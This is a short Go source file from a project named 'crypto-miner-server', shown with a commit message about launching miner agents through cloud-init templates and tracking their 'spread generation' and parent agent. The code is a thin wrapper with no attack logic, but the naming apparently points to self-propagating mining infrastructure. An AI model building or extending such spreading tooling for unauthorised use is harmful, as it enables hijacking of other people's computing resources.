Ship POST /api/v1/forge/launch-template with cloud-init user-data embedding genesis snapshot hash and strain card ID; first template-tagged auth pins SpreadGeneration=0 and ParentAgentID=template.
19 lines
535 B
Go
19 lines
535 B
Go
package api
|
|
|
|
import (
|
|
"crypto-miner-server/internal/models"
|
|
"crypto-miner-server/internal/spreadgenesis"
|
|
)
|
|
|
|
type launchTemplateAuthProbe struct {
|
|
JoinLane string
|
|
ParentAgentID string
|
|
GenesisSnapshotHash string
|
|
}
|
|
|
|
func applyLaunchTemplateGenesisFirstAuth(agent *models.Agent, isNewAgent bool, auth launchTemplateAuthProbe) {
|
|
spreadgenesis.ApplyFirstAuth(agent, isNewAgent, spreadgenesis.AuthProbe{
|
|
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
|
|
})
|
|
}
|